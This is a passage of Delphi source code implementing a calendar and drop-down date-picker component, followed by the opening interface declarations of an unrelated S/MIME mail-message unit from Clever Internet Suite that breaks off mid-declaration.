procedure DoPanelSize(Sender: TObject);
procedure UpdateBtns;
public
{ Public declarations }
constructor create(AOwner: TComponent); override;
procedure CalendarKeyMovement(Sender: TObject; var Key: Word; Shift: TShiftState); override;
procedure SetFocus; override;
procedure HandleMessage(var msg: TMessage);
procedure WndProc(var Message: TMessage); override;
published
{ Published declarations }
end;
TrmCustomComboCalendar = class(TrmCustomBtnEdit)
private
{ Private declarations }
fCalendar: TrmScreenCalendar;
fSelectedDate: TDate;
fDateFormat: string;
fDropDownWidth: integer;
fmsg: TrmMsgEvent;
procedure SetDate(value: TDate);
procedure SetDateFormat(value: string);
function GetDate: TDate;
procedure SetSelectDate(Sender: TObject);
procedure ToggleCalendar(Sender: TObject);
procedure DoMyExit(Sender: Tobject);
function GetCalendar: TrmCalendar;
procedure wmKillFocus(var Message: TMessage); message wm_killfocus;
procedure SetDropDownWidth(const Value: integer);
protected
{ Protected declarations }
procedure KeyDown(var Key: Word; Shift: TShiftState); override;
property SelectedDate: TDate read GetDate write SetDate;
property DateFormat: string read fDateformat write SetDateFormat;
property DropDownWidth: integer read fDropDownWidth write SetDropDownWidth default 180;
property Calendar: TrmCalendar read GetCalendar;
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure WndProc(var Message: TMessage); override;
end;
TrmComboCalendar = class(TrmCustomComboCalendar)
published
{ Published declarations }
property SelectedDate;
property DateFormat;
{$IFDEF D4_OR_HIGHER}
property Anchors;
property Constraints;
{$ENDIF}
property AutoSelect;
property AutoSize;
property BtnWidth;
property BorderStyle;
property Calendar;
property Color;
property Ctl3D;
property DragCursor;
property DragMode;
property DropDownWidth;
property EditorEnabled;
property Enabled;
property Font;
property MaxLength;
property ParentColor;
property ParentCtl3D;
property ParentFont;
property ParentShowHint;
property PopupMenu;
property ShowHint;
property TabOrder;
property TabStop;
property Visible;
property OnChange;
property OnClick;
property OnDblClick;
property OnDragDrop;
property OnDragOver;
property OnEndDrag;
property OnEnter;
property OnExit;
property OnKeyDown;
property OnKeyPress;
property OnKeyUp;
property OnMouseDown;
property OnMouseMove;
property OnMouseUp;
property OnStartDrag;
end;
implementation
uses
rmSpeedBtns;
{ TrmCustomCalendar }
constructor TrmCustomCalendar.create(AOwner: TComponent);
begin
inherited create(AOwner);
ControlStyle := ControlStyle + [csOpaque];
fCalendarColors := TrmCalendarColors.create;
fCalendarColors.CustomCalendar := self;
BorderWidth := 1;
BorderStyle := bsSingle;
BevelOuter := bvNone;
BevelInner := bvNone;
width := 205;
height := 158;
fUseDateRanges := false;
fMinSelectDate := Now - 365; //Default it to be 1 year back
fMaxSelectDate := Now + 365; //Default it to be 1 year ahead
fBoldSysDate := true;
fCalendarFont := tfont.create;
fCalendarFont.assign(self.font);
fLabel1 := TLabel.create(self);
with fLabel1 do
begin
ParentFont := false;
Parent := self;
Align := alTop;
Caption := MonthOfYear[CurrentDateValue(cdvMonth)] + ' ' + inttostr(CurrentDateValue(cdvYear));
Alignment := taCenter;
Font.Size := self.font.size + 4;
Font.Style := [fsBold];
TabStop := false;
end;
fShowGridLines := false;
fCalendarGrid := TDrawGrid.Create(self);
with FCalendarGrid do
begin
ParentFont := false;
Parent := self;
ControlStyle := ControlStyle - [csDesignInteractive];
Align := alClient;
BorderStyle := bsNone;
ColCount := 7;
FixedCols := 0;
fixedRows := 0;
RowCount := 7;
ScrollBars := ssNone;
Options := [];
OnDrawCell := PaintCalendarCell;
OnSelectCell := CalendarSelectDate;
OnDblClick := CalendarDblClick;
OnKeyPress := CalendarGridKeyPress;
OnKeyDown := CalendarKeyMovement;
end;
fShowWeekends := true;
SetCellSizes;
SelectedDate := Now;
end;
destructor TrmCustomCalendar.destroy;
begin
fCalendarGrid.free;
fLabel1.free;
fCalendarFont.free;
fCalendarColors.free;
inherited;
end;
procedure TrmCustomCalendar.PaintCalendarCell(Sender: TObject; Col, Row: Integer;
Rect: TRect; State: TGridDrawState);
var
TextToPaint: string;
xpos, ypos, wdom, Daynumber: integer;
NewDayNumber: integer;
wPaintDate : boolean;
wPDate : TDate;
begin
wPDate := now; //useless, only required to get past a compiler warning in D6
wPaintDate := false;
case row of
0:
begin
fCalendarGrid.canvas.brush.color := fCalendarColors.DayNamesBackgroundColor; //clbtnface;
if ((col = 0) or (col = 6)) and fShowWeekends then
fCalendarGrid.canvas.font.color := fCalendarColors.WeekendTextColor//fWeekendColor
else
fCalendarGrid.canvas.font.color := fCalendarColors.DayNamesTextColor;//clbtntext;
TextToPaint := WeekDay[col + 1];
end;
else
begin
if ValidateDOW(row, col, DayNumber) then
begin
if (gdFocused in state) then fSelectionValid := true;
TextToPaint := inttostr(DayNumber);
wPaintDate := true;
wPDate := encodeDate(wyear, wmonth, DayNumber);
if (gdSelected in state) then
begin
fCalendarGrid.canvas.font.color := clHighlightText;
fCalendarGrid.canvas.brush.color := clHighlight;
fworkingdate := MyEncodeDate(wYear, wMonth, DayNumber);
end
else
begin
if (((col = 0) or (col = 6)) and fShowWeekends) then
begin
fCalendarGrid.canvas.font.color := fCalendarColors.WeekendTextColor; //fWeekendColor;
fCalendarGrid.canvas.brush.color := fCalendarColors.WeekendBackgroundColor;//fweekendBkColor;
end
else
begin
fCalendarGrid.canvas.font.color := fCalendarColors.WeekdayTextColor;//clWindowText;
fCalendarGrid.canvas.brush.color := fCalendarColors.WeekdayBackgroundColor;//clwindow;
end;
end;
end
else
begin
fCalendarGrid.canvas.font.color := fCalendarColors.OtherMonthDayTextColor; //clBtnFace;
fCalendarGrid.canvas.brush.color := fCalendarColors.OtherMonthDayBackgroundColor;//clWindow;
wdom := DaysOfMonth[wmonth];
if (IsLeapYear(wyear)) and (wmonth = 2) then inc(wdom);
if daynumber > wdom then
begin
NewDayNumber := daynumber - wdom;
if NewDayNumber > wdom then
begin
fCalendarGrid.canvas.brush.color := clInactiveCaption;
fCalendarGrid.canvas.brush.style := bsDiagCross;
fCalendarGrid.canvas.pen.Style := psClear;
fCalendarGrid.canvas.Rectangle(rect.left, rect.Top, rect.right + 1, rect.bottom + 1);
fCalendarGrid.canvas.brush.style := bsClear;
NewDayNumber := DayNumber;
end;
end
else
begin
if (wmonth = 3) and IsLeapYear(wyear) then
begin
NewDayNumber := (daynumber + DaysOfMonth[wmonth - 1] + 1);
if (NewDayNumber > DaysOfMonth[wmonth - 1] + 1) then
begin
fCalendarGrid.canvas.brush.color := clInactiveCaption;
fCalendarGrid.canvas.brush.style := bsDiagCross;
fCalendarGrid.canvas.pen.Style := psClear;
fCalendarGrid.canvas.Rectangle(rect.left, rect.Top, rect.right + 1, rect.bottom + 1);
fCalendarGrid.canvas.brush.style := bsClear;
NewDayNumber := DayNumber;
end;
end
else
begin
NewDayNumber := (daynumber + DaysOfMonth[wmonth - 1]);
if (NewDayNumber > DaysOfMonth[wmonth - 1]) then
begin
fCalendarGrid.canvas.brush.color := clInactiveCaption;
fCalendarGrid.canvas.brush.style := bsDiagCross;
fCalendarGrid.canvas.pen.Style := psClear;
fCalendarGrid.canvas.Rectangle(rect.left, rect.Top, rect.right + 1, rect.bottom + 1);
fCalendarGrid.canvas.brush.style := bsClear;
NewDayNumber := DayNumber;
end;
end;
end;
TextToPaint := inttostr(NewDayNumber);
end;
if (CurrentDateValue(cdvYear) = wyear) and (CurrentDateValue(cdvMonth) = wmonth) and (CurrentDateValue(cdvDay) = daynumber) then
begin
if (fboldsysdate) then
fCalendarGrid.canvas.font.Style := [fsBold]
else
fCalendarGrid.canvas.font.Style := [];
if not (gdSelected in state) then
fCalendarGrid.Canvas.Font.Color := fCalendarColors.TodayTextColor;
end;
end;
end;
xpos := rect.Left + ((rect.right - rect.left) shr 1) - (fCalendarGrid.canvas.textwidth(TextToPaint) shr 1);
ypos := rect.Top + ((rect.bottom - rect.top) shr 1) - (fCalendarGrid.canvas.textheight(TextToPaint) shr 1);
if TextToPaint <> '' then
fCalendarGrid.canvas.TextRect(rect, xpos, ypos, TextToPaint);
if wPaintDate and assigned(fonPaintCell) then
fOnPaintCell(Sender, Col, Row, Rect, State, wPDate);
end;
procedure TrmCustomCalendar.SetCellSizes;
var
loop: integer;
h, w: integer;
mh, mw: integer;
begin
h := fCalendarGrid.Height div 7;
mh := fCalendarGrid.Height mod 7;
w := fCalendarGrid.Width div 7;
mw := fCalendarGrid.Width mod 7;
for loop := 0 to 6 do
begin
if mw > 0 then
begin
dec(mw);
if fShowGridLines then
fCalendarGrid.ColWidths[loop] := w
else
fCalendarGrid.ColWidths[loop] := w + 1;
end
else
fCalendarGrid.ColWidths[loop] := w;
if mh > 0 then
begin
dec(mh);
if fShowGridLines then
fCalendarGrid.RowHeights[loop] := h
else
fCalendarGrid.RowHeights[loop] := h + 1;
end
else
fCalendarGrid.RowHeights[loop] := h;
end;
end;
procedure TrmCustomCalendar.SetShowWeekends(const Value: boolean);
begin
fShowWeekends := value;
fCalendarGrid.invalidate;
end;
procedure TrmCustomCalendar.wmSize(var Msg: TMessage);
begin
inherited;
SetCellSizes;
end;
function TrmCustomCalendar.ValidateDOW(row, col: integer;
var daynumber: integer): boolean;
begin
daynumber := ((col + ((row - 1) * 7)) - wfdow) + 2;
if (daynumber >= 1) and (daynumber <= wdom) then
result := true
else
result := false;
if result and fUseDateRanges then
begin
result := (MyEncodeDate(wYear, wMonth, daynumber) >= fMinSelectDate) and
(MyEncodeDate(wYear, wMonth, daynumber) <= fMaxSelectDate);
end;
end;
function TrmCustomCalendar.MyEncodeDate(year, month, day: word): TDateTime;
begin
if day > DaysOfMonth[month] then
begin
if (month = 2) and IsLeapYear(year) and (day >= 29) then
day := 29
else
day := DaysOfMonth[month];
end;
result := encodedate(year, month, day);
end;
function TrmCustomCalendar.CurrentDateValue(
Value: TCurrentDateValue): word;
var
y, m, d: word;
begin
decodeDate(Now, y, m, d);
case value of
cdvYear: result := y;
cdvMonth: result := m;
cdvDay: result := d;
else
raise exception.create('Unknown parameter');
end;
end;
procedure TrmCustomCalendar.SetSelectedDate(const Value: TDate);
var
row, col: integer;
begin
fSelectedDate := CheckDateRange(value);
GetRowColInfo(fSelectedDate, row, Col);
DecodeDate(fSelectedDate, wYear, wMonth, wDay);
wdom := DaysOfMonth[wmonth];
wfdow := DayOfWeek(MyEncodeDate(wyear, wmonth, 1));
if (isleapyear(wyear)) and (wmonth = 2) then inc(wdom);
fLabel1.Caption := MonthOfYear[wMonth] + ' ' + inttostr(wYear);
fCalendarGrid.Selection := TGridRect(rect(col, row, col, row));
fCalendarGrid.Invalidate;
if fworkingdate <> fSelectedDate then
begin
fworkingdate := fSelectedDate;
if assigned(fOnWorkingDateChange) then
fOnWorkingDateChange(self);
end;
if assigned(fOnSelectedDateChange) then
fOnSelectedDateChange(self);
end;
procedure TrmCustomCalendar.CalendarDblClick(Sender: TObject);
begin
if fSelectionValid then
SetSelectedDate(fWorkingDate);
end;
procedure TrmCustomCalendar.CalendarGridKeyPress(Sender: TObject;
var Key: Char);
begin
if (key = #13) and fSelectionValid then
SetSelectedDate(fWorkingDate);
end;
procedure TrmCustomCalendar.CalendarKeyMovement(Sender: TObject;
var Key: Word; Shift: TShiftState);
var
sday, smonth, syear: word;
dummy: boolean;
row, col: integer;
begin
fCalendarGrid.setfocus;
if key in [vk_left, vk_right, vk_up, vk_down] then
decodedate(fworkingdate, syear, smonth, sday);
case key of
vk_Left:
begin
if ssCtrl in Shift then
begin
PrevMonth;
Key := 0;
end
else
begin
if (fCalendarGrid.col - 1 = -1) then
begin
if sDay - 1 >= 1 then
begin
GetRowColInfo(MyEncodeDate(sYear, sMonth, sDay - 1), Row, Col);
CalendarSelectDate(self, Col, Row, dummy);
end;
Key := 0;
end;
end;
end;
vk_Right:
begin
if ssCtrl in Shift then
begin
NextMonth;
Key := 0;
end
else
begin
if (fCalendarGrid.col + 1 = 7) then
begin
if sDay + 1 <= wdom then
begin
GetRowColInfo(MyEncodeDate(sYear, sMonth, sDay + 1), Row, Col);
CalendarSelectDate(self, Col, Row, dummy);
end;
Key := 0;
end;
end;
end;
vk_Up:
begin
if ssCtrl in Shift then
begin
PrevYear;
key := 0;
end
else
begin
end;
end;
vk_Down:
begin
if ssCtrl in Shift then
begin
NextYear;
key := 0;
end
else
begin
end;
end;
end;
end;
procedure TrmCustomCalendar.CalendarSelectDate(Sender: TObject; Col,
Row: Integer; var CanSelect: Boolean);
var
day: integer;
begin
canselect := ValidateDOW(row, col, day);
if canselect then
SetWorkingDate(MyEncodeDate(wyear, wmonth, day));
end;
procedure TrmCustomCalendar.SetCalendarFont(const Value: TFont);
begin
fCalendarFont.assign(value);
fCalendarGrid.font.assign(fCalendarFont);
fLabel1.font.assign(fCalendarFont);
fLabel1.Font.size := fLabel1.Font.size + 4;
fLabel1.Font.Style := fLabel1.Font.Style + [fsBold];
end;
procedure TrmCustomCalendar.SetMaxDate(const Value: TDate);
var
wDate: TDate;
begin
wDate := trunc(value);
if wDate <> fMaxSelectDate then
begin
if wDate <= fMinSelectDate then
raise Exception.Create('MaxDate value can''t be less than or equal to the MinDate value');
fMaxSelectDate := wDate;
if UseDateRanges and (SelectedDate > fMaxSelectDate) then
SelectedDate := fMaxSelectDate;
fCalendarGrid.Invalidate;
end;
end;
procedure TrmCustomCalendar.SetMinDate(const Value: TDate);
var
wDate: TDate;
begin
wDate := trunc(value);
if wDate <> fMinSelectDate then
begin
if wDate >= fMaxSelectDate then
raise Exception.Create('MinDate value can''t be greater than or equal to the MaxDate value');
fMinSelectDate := wDate;
if UseDateRanges and (SelectedDate < fMinSelectDate) then
SelectedDate := fMinSelectDate;
fCalendarGrid.Invalidate;
end;
end;
procedure TrmCustomCalendar.SetUseDateRanges(const Value: boolean);
begin
if value <> fUseDateRanges then
begin
fUseDateRanges := Value;
if fUseDateRanges then
begin
if SelectedDate < fMinSelectDate then
SelectedDate := fMinSelectDate;
if SelectedDate > fMaxSelectDate then
SelectedDate := fMaxSelectDate;
end;
fCalendarGrid.Invalidate;
end;
end;
procedure TrmCustomCalendar.NextMonth;
var
sday, smonth, syear: word;
begin
decodedate(fworkingdate, syear, smonth, sday);
inc(sMonth);
if sMonth > 12 then
begin
sMonth := 1;
inc(sYear);
end;
SetWorkingDate(MyEncodeDate(sYear, sMonth, sDay));
end;
procedure TrmCustomCalendar.NextYear;
var
sday, smonth, syear: word;
begin
decodedate(fworkingdate, syear, smonth, sday);
SetWorkingDate(MyEncodeDate(sYear + 1, sMonth, sDay));
end;
procedure TrmCustomCalendar.PrevMonth;
var
sday, smonth, syear: word;
begin
decodedate(fworkingdate, syear, smonth, sday);
dec(sMonth);
if sMonth < 1 then
begin
sMonth := 12;
dec(sYear);
end;
SetWorkingDate(MyEncodeDate(sYear, sMonth, sDay));
end;
procedure TrmCustomCalendar.PrevYear;
var
sday, smonth, syear: word;
begin
decodedate(fworkingdate, syear, smonth, sday);
SetWorkingDate(MyEncodeDate(sYear - 1, sMonth, sDay));
end;
procedure TrmCustomCalendar.GetRowColInfo(wDate: TDate; var Row,
Col: integer);
var
wyear, wmonth, wday: word;
wfdow: integer;
begin
decodedate(wDate, wYear, wMonth, wDay);
wfdow := DayOfWeek(MyEncodeDate(wyear, wmonth, 1));
row := (((wday - 2) + wfdow) div 7) + 1;
col := (((wday - 2) + wfdow) mod 7);
end;
function TrmCustomCalendar.CheckDateRange(wDate: TDate): TDate;
begin
if fUseDateRanges then
begin
result := trunc(wDate);
if (result < fMinSelectDate) then
result := fMinSelectDate;
if (result > fMaxSelectDate) then
result := fMaxSelectDate;
end
else
result := trunc(wDate);
end;
procedure TrmCustomCalendar.SetWorkingDate(const Value: TDate);
var
row, col: integer;
begin
fworkingdate := CheckDateRange(value);
GetRowColInfo(fWorkingDate, row, col);
DecodeDate(fworkingdate, wYear, wMonth, wDay);
wdom := DaysOfMonth[wmonth];
wfdow := DayOfWeek(MyEncodeDate(wyear, wmonth, 1));
if (isleapyear(wyear)) and (wmonth = 2) then inc(wdom);
fLabel1.Caption := MonthOfYear[wMonth] + ' ' + inttostr(wYear);
fCalendarGrid.Selection := TGridRect(rect(col, row, col, row));
fCalendarGrid.Invalidate;
if assigned(fOnWorkingDateChange) then
fOnWorkingDateChange(self);
end;
procedure TrmCustomCalendar.SetBoldSystemDate(const Value: boolean);
begin
fboldsysdate := Value;
invalidate;
end;
function TrmCustomCalendar.GetCellCanvas: TCanvas;
begin
result := fCalendarGrid.Canvas;
end;
procedure TrmCustomCalendar.SetCalendarColors(
const Value: TrmCalendarColors);
begin
fCalendarColors.Assign(Value);
fCalendarGrid.Invalidate;
end;
procedure TrmCustomCalendar.SetGridLines(const Value: boolean);
begin
if fShowGridLines <> Value then
begin
fShowGridLines := Value;
if fShowGridLines then
fCalendarGrid.Options := [goVertLine, goHorzLine]
else
fCalendarGrid.Options := [];
SetCellSizes;
end;
end;
function TrmCustomCalendar.GoodCalendarSize(NewWidth:integer): boolean;
begin
Result := (NewWidth mod 7) = 0;
end;
procedure TrmCustomCalendar.wmEraseBkgrnd(var Msg: TMessage);
begin
msg.result := 1;
end;
procedure TrmCustomCalendar.Invalidate;
begin
if fCalendarGrid <> nil then
fCalendarGrid.Invalidate;
inherited;
end;
{ TrmCustomComboCalendar }
constructor TrmCustomComboCalendar.Create(AOwner: TComponent);
begin
inherited create(aowner);
OnBtn1Click := ToggleCalendar;
OnExit := DoMyExit;
readonly := true;
fDateformat := 'mm/dd/yyyy';
fDropDownWidth := 180;
UseDefaultGlyphs := false;
with GetButton(1) do
begin
Font.name := 'Marlett';
font.size := 10;
Font.color := clBtnText;
Caption := '6';
Glyph := nil;
end;
if not (csdesigning in componentstate) then
begin
fCalendar := TrmScreenCalendar.create(owner);
with fCalendar do
begin
parent := self;
width := self.width;
visible := false;
OnSelectedDateChange := SetSelectDate;
end;
end;
SelectedDate := Now;
end;
destructor TrmCustomComboCalendar.Destroy;
begin
fCalendar.free;
inherited destroy;
end;
function TrmCustomComboCalendar.GetDate: TDate;
begin
result := fSelectedDate;
end;
procedure TrmCustomComboCalendar.SetDate(value: TDate);
begin
if trunc(value) <> fSelectedDate then
fSelectedDate := trunc(value);
Text := formatdatetime(fDateFormat, fSelectedDate);
end;
procedure TrmCustomComboCalendar.SetDateFormat(value: string);
begin
if value = '' then value := 'mm/dd/yyyy';
fDateFormat := value;
text := formatdatetime(fDateFormat, SelectedDate);
end;
procedure TrmCustomComboCalendar.SetSelectDate(Sender: TObject);
var
wVisible: boolean;
begin
SelectedDate := fCalendar.WorkingDate;
wVisible := fCalendar.visible;
if fCalendar.visible then
fCalendar.Hide;
if wVisible and Self.CanFocus then
self.setfocus;
end;
procedure TrmCustomComboCalendar.ToggleCalendar(Sender: TObject);
var
CP, SP: TPoint;
begin
CP.X := Left;
CP.Y := Top + Height;
SP := parent.ClientToScreen(CP);
SetFocus;
SelectAll;
with fCalendar do
begin
if fDropDownWidth = 0 then
Width := self.width
else
width := fDropDownWidth;
fCalendar.SelectedDate := self.SelectedDate;
Left := SP.X;
if assigned(screen.ActiveForm) then
begin
if (SP.Y + fCalendar.height < screen.activeForm.Monitor.Height) then
fCalendar.Top := SP.Y
else
fCalendar.Top := (SP.Y - self.height) - fCalendar.height;
end
else
begin
if (SP.Y + fCalendar.height < screen.Height) then
fCalendar.Top := SP.Y
else
fCalendar.Top := (SP.Y - self.height) - fCalendar.height;
end;
Show;
SetWindowPos(handle, hwnd_topMost, 0, 0, 0, 0, swp_nosize or swp_NoMove);
end; { Calendar }
end;
procedure TrmCustomComboCalendar.WndProc(var Message: TMessage);
begin
if assigned(fmsg) then
try
fmsg(message);
except
end;
case Message.Msg of
WM_CHAR,
WM_KEYDOWN,
WM_KEYUP:
if fCalendar.visible then
begin
fcalendar.HandleMessage(message);
if message.result = 0 then exit;
end;
end;
inherited WndProc(Message);
end;
procedure TrmCustomComboCalendar.DoMyExit(Sender: Tobject);
begin
if fCalendar.visible then
fCalendar.Hide;
end;
procedure TrmCustomComboCalendar.KeyDown(var Key: Word; Shift: TShiftState);
begin
if ((Key = VK_DOWN) and (ssAlt in Shift)) or
((key = VK_F4) and (shift = [])) then
ToggleCalendar(self)
else
inherited KeyDown(Key, Shift);
end;
function TrmCustomComboCalendar.GetCalendar: TrmCalendar;
begin
result := fCalendar;
end;
procedure TrmCustomComboCalendar.wmKillFocus(var Message: TMessage);
begin
inherited;
if fCalendar.visible then
fCalendar.Hide;
end;
procedure TrmCustomComboCalendar.SetDropDownWidth(const Value: integer);
begin
if (value <> fDropDownWidth) and (value >= 180) then
begin
fDropDownWidth := Value;
end;
end;
{ TrmScreenCalendar }
constructor TrmScreenCalendar.create(AOwner: TComponent);
begin
inherited create(Aowner);
BorderWidth := 0;
fPanel := TPanel.create(self);
LastState := 0;
with fPanel do
begin
Parent := self;
Align := alBottom;
fBtn1 := TSpeedButton.create(self);
with fBtn1 do
begin
Parent := fPanel;
Flat := true;
Font.Name := 'Small Font';
Font.Size := 7;
font.color := clbtnText;
Tag := 1;
OnClick := DoBtnClick;
end;
fBtn2 := TSpeedButton.create(self);
with fBtn2 do
begin
Parent := fPanel;
Flat := true;
Font.Name := 'Small Font';
Font.Size := 7;
font.color := clbtnText;
Tag := 2;
OnClick := DoBtnClick;
end;
OnResize := DoPanelSize;
BevelInner := bvNone;
BevelOuter := bvNone;
Caption := '';
Height := 20;
end;
UpdateBtns;
end;
procedure TrmScreenCalendar.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
with Params do
begin
Style := Style or WS_BORDER;
ExStyle := WS_EX_TOOLWINDOW or WS_EX_TOPMOST;
WindowClass.Style := CS_SAVEBITS;
end;
end;
procedure TrmScreenCalendar.CreateWnd;
begin
inherited CreateWnd;
Windows.SetParent(Handle, 0);
CallWindowProc(DefWndProc, Handle, wm_SetFocus, 0, 0);
end;
procedure TrmScreenCalendar.SetFocus;
begin
inherited;
fCalendarGrid.SetFocus;
end;
procedure TrmScreenCalendar.VisibleChanging;
begin
if Visible = false then
SetCaptureControl(self)
else
ReleaseCapture;
inherited;
end;
procedure TrmScreenCalendar.HandleMessage(var msg: TMessage);
begin
UpdateBtns;
msg.result := SendMessage(fCalendarGrid.Handle, msg.msg, msg.wparam, msg.lparam);
end;
procedure TrmScreenCalendar.CMMouseLeave(var Message: TMessage);
begin
inherited;
SetCaptureControl(Self);
end;
procedure TrmScreenCalendar.WMLButtonDown(var Message: TWMLButtonDown);
begin
if not ptInRect(clientrect, point(message.xpos, message.ypos)) then
Visible := false;
inherited;
end;
procedure TrmScreenCalendar.WMMouseMove(var Message: TWMMouse);
begin
if ptInRect(clientrect, point(message.xpos, message.ypos)) then
ReleaseCapture;
inherited;
end;
procedure TrmScreenCalendar.CalendarKeyMovement(Sender: TObject;
var Key: Word; Shift: TShiftState);
begin
case key of
VK_ESCAPE:
begin
key := 0;
visible := false;
if owner is TWinControl then
TWinControl(owner).setfocus;
end;
else
inherited CalendarKeyMovement(sender, key, shift);
end;
end;
procedure TrmScreenCalendar.WndProc(var Message: TMessage);
begin
if assigned(fmsg) then
try
fmsg(message);
except
end;
case Message.Msg of
WM_CaptureKeyDown:
begin
Message.msg := wm_KeyDown;
end;
WM_CaptureKeyup:
begin
Message.msg := wm_KeyUp;
end;
end;
inherited WndProc(Message);
end;
procedure TrmScreenCalendar.DoBtnClick(Sender: TObject);
var
state: Word;
begin
if Sender is TSpeedButton then
begin
state := GetKeyState(vk_control);
case TSpeedButton(Sender).Tag of
1:
begin
if (state and $8000 <> 0) then
PrevYear
else
PrevMonth;
UpdateBtns;
end;
2:
begin
if (state and $8000 <> 0) then
NextYear
else
NextMonth;
UpdateBtns;
end;
else
//This should never happen.....
end;
end;
end;
procedure TrmScreenCalendar.DoPanelSize(Sender: TObject);
begin
fBtn1.SetBounds(2, 2, 90, 16);
fBtn2.SetBounds(fPanel.Width - 92, 2, 90, 16);
end;
procedure TrmScreenCalendar.UpdateBtns;
var
state: short;
y, m, d : word;
begin
state := GetKeyState(vk_control);
DecodeDate(fworkingdate, y, m, d);
if (state and $8000 <> 0) then
begin
fBtn1.Caption := monthofyear[m] +' '+ IntToStr(y-1);
fBtn2.Caption := monthofyear[m] +' '+ inttostr(y+1);
end
else
begin
if m-1 = 0 then
fBtn1.Caption := monthofyear[m-1] +' '+ IntToStr(y-1)
else
fBtn1.Caption := monthofyear[m-1] +' '+ IntToStr(y);
if m+1 = 13 then
fBtn2.Caption := monthofyear[m+1] +' '+ IntToStr(y+1)
else
fBtn2.Caption := monthofyear[m+1] +' '+ IntToStr(y);
end;
end;
{ TrmCalendarColors }
procedure TrmCalendarColors.Assign(Source: TPersistent);
var
wColors : TrmCalendarColors;
begin
inherited;
if source is TrmCalendarColors then
begin
wColors := TrmCalendarColors(source);
fWeekendText := wColors.WeekdayTextColor;
fWeekdaybackground := wColors.WeekdayBackgroundColor;
fDayNamesBackground := wColors.DayNamesBackgroundColor;
fDayNamesText := wColors.DayNamesTextColor;
fWeekdayText := wColors.WeekdayTextColor;
fTodayText := wColors.TodayTextColor;
fWeekendBackground := wColors.WeekendBackgroundColor;
fOtherMonthDayBackground := wColors.OtherMonthDayBackgroundColor;
fOtherMonthDayText := wColors.OtherMonthDayTextColor;
UpdateController;
end;
end;
constructor TrmCalendarColors.create;
begin
inherited;
fWeekendText := clTeal;
fWeekdaybackground := clWindow;
fDayNamesBackground := clBtnFace;
fDayNamesText := clBtnText;
fWeekdayText := clWindowText;
fTodayText := clRed;
fWeekendBackground := $00E1E1E1;
fOtherMonthDayBackground := clWindow;
fOtherMonthDayText := clBtnFace;
end;
procedure TrmCalendarColors.SetDayNamesBackground(const Value: TColor);
begin
if fDayNamesBackground <> Value then
begin
fDayNamesBackground := Value;
fCustomCalendar.fLabel1.Color := Value;
UpdateController;
end;
end;
procedure TrmCalendarColors.SetDayNamesText(const Value: TColor);
begin
if fDayNamesText <> Value then
begin
fDayNamesText := Value;
fCustomCalendar.fLabel1.Font.color := Value;
UpdateController;
end;
end;
procedure TrmCalendarColors.SetOtherMonthDayBackground(const Value: TColor);
begin
if (fOtherMonthDayBackground <> value) then
begin
fOtherMonthDayBackground := value;
UpdateController;
end;
end;
procedure TrmCalendarColors.SetOtherMonthDayText(const Value: TColor);
begin
if fOtherMonthDayText <> Value then
begin
fOtherMonthDayText := Value;
UpdateController;
end;
end;
procedure TrmCalendarColors.SetTodayText(const Value: TColor);
begin
if fTodayText <> Value then
begin
fTodayText := Value;
UpdateController;
end;
end;
procedure TrmCalendarColors.Setweekdaybackground(const Value: TColor);
begin
if fWeekdaybackground <> Value then
begin
fWeekdaybackground := Value;
UpdateController;
end;
end;
procedure TrmCalendarColors.SetWeekdayText(const Value: TColor);
begin
if fWeekdayText <> Value then
begin
fWeekdayText := Value;
UpdateController;
end;
end;
procedure TrmCalendarColors.SetWeekendBackground(const Value: TColor);
begin
if fWeekendBackground <> Value then
begin
fWeekendBackground := Value;
UpdateController;
end;
end;
procedure TrmCalendarColors.SetWeekendText(const Value: TColor);
begin
if fWeekendText <> Value then
begin
fWeekendText := Value;
UpdateController;
end;
end;
procedure TrmCalendarColors.UpdateController;
begin
if assigned(fCustomCalendar) then
fcustomCalendar.fCalendarGrid.Invalidate;
end;
end.
|
{
Clever Internet Suite Version 6.2
Copyright (C) 1999 - 2006 Clever Components
www.CleverComponents.com
}
unit clSMimeMessage;
interface
{$I clVer.inc}
uses
Classes, SysUtils, clMailMessage, clCert, clCryptAPI, clEncoder;
type
TclSMimeBody = class(TclMessageBody)
private
FSource: TStrings;
FBoundary: string;
procedure SetSource(const Value: TStrings);
procedure SetBoundary(const Value: string);
function GetHeader: TStrings;
procedure SetHeader(const Value: TStrings);
protected
procedure ReadData(Reader: TReader); override;
procedure WriteData(Writer: TWriter); override;
procedure AssignBodyHeader(ASource: TStrings); override;
procedure ParseBodyHeader(ABodyPos: Integer; ASource, AFieldList: TStrings); override;
function GetSourceStream: TStream; override;
function GetDestinationStream: TStream; override;
procedure BeforeDataAdded(AData: TStream); override;
procedure DataAdded(AData: TStream); override;
procedure DecodeData(ASource, ADestination: TStream); override;
procedure EncodeData(ASource, ADestination: TStream); override;
procedure DoCreate; override;
public
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
procedure Clear(); override;
property Header: TStrings read GetHeader write SetHeader;
property Source: TStrings read FSource write SetSource;
property Boundary: string read FBoundary write SetBoundary;
end;
TclEnvelopedBody = class(TclAttachmentBody)
private
FData: TclCryptData;
procedure SetData(const Value: TclCryptData);
protected
function GetSourceStream: TStream; override;
function GetDestinationStream: TStream; override;
procedure DataAdded(AData: TStream); override;
procedure DoCreate; override;
public
destructor Destroy; override;
procedure Clear(); override;
property Data: TclCryptData read FData write SetData;
end;
TclSMimeMessage = class(TclMailMessage)
private
FSMimeContentType: string;
FIsDetachedSignature: Boolean;
FIsIncludeCertificate: Boolean;
FOnGetCertificate: TclOnGetCertificateEvent;
FCertificates: TclCertificateStore;
FInternalCertStore: TclCertificateStore;
FIsSecuring: Boolean;
procedure SetSMimeContentType(const Value: string);
function GetIsEncrypted: Boolean;
function GetIsSigned: Boolean;
function GetCertificate(const AStoreName: string; IsUseSender: Boolean): TclCertificate;
function GetEncryptCertificates(const AStoreName: string): TclCertificateStore;
procedure SetIsDetachedSignature(const Value: Boolean);
procedure SetIsIncludeCertificate(const Value: Boolean);
procedure SignEnveloped(ACertificate: TclCertificate);
procedure SignDetached(ACertificate: TclCertificate);
procedure VerifyDetached;
procedure VerifyEnveloped;
function GetRecipientCertificate(const AStoreName: string;
AEmailList: TStrings): TclCertificate;
procedure InternalVerify;
procedure InternalDecrypt;
function GetEmailCertificate(const AFullEmail,
AStoreName: string): TclCertificate;
protected
procedure DoGetCertificate(var ACertificate: TclCertificate;
var Handled: Boolean); dynamic;
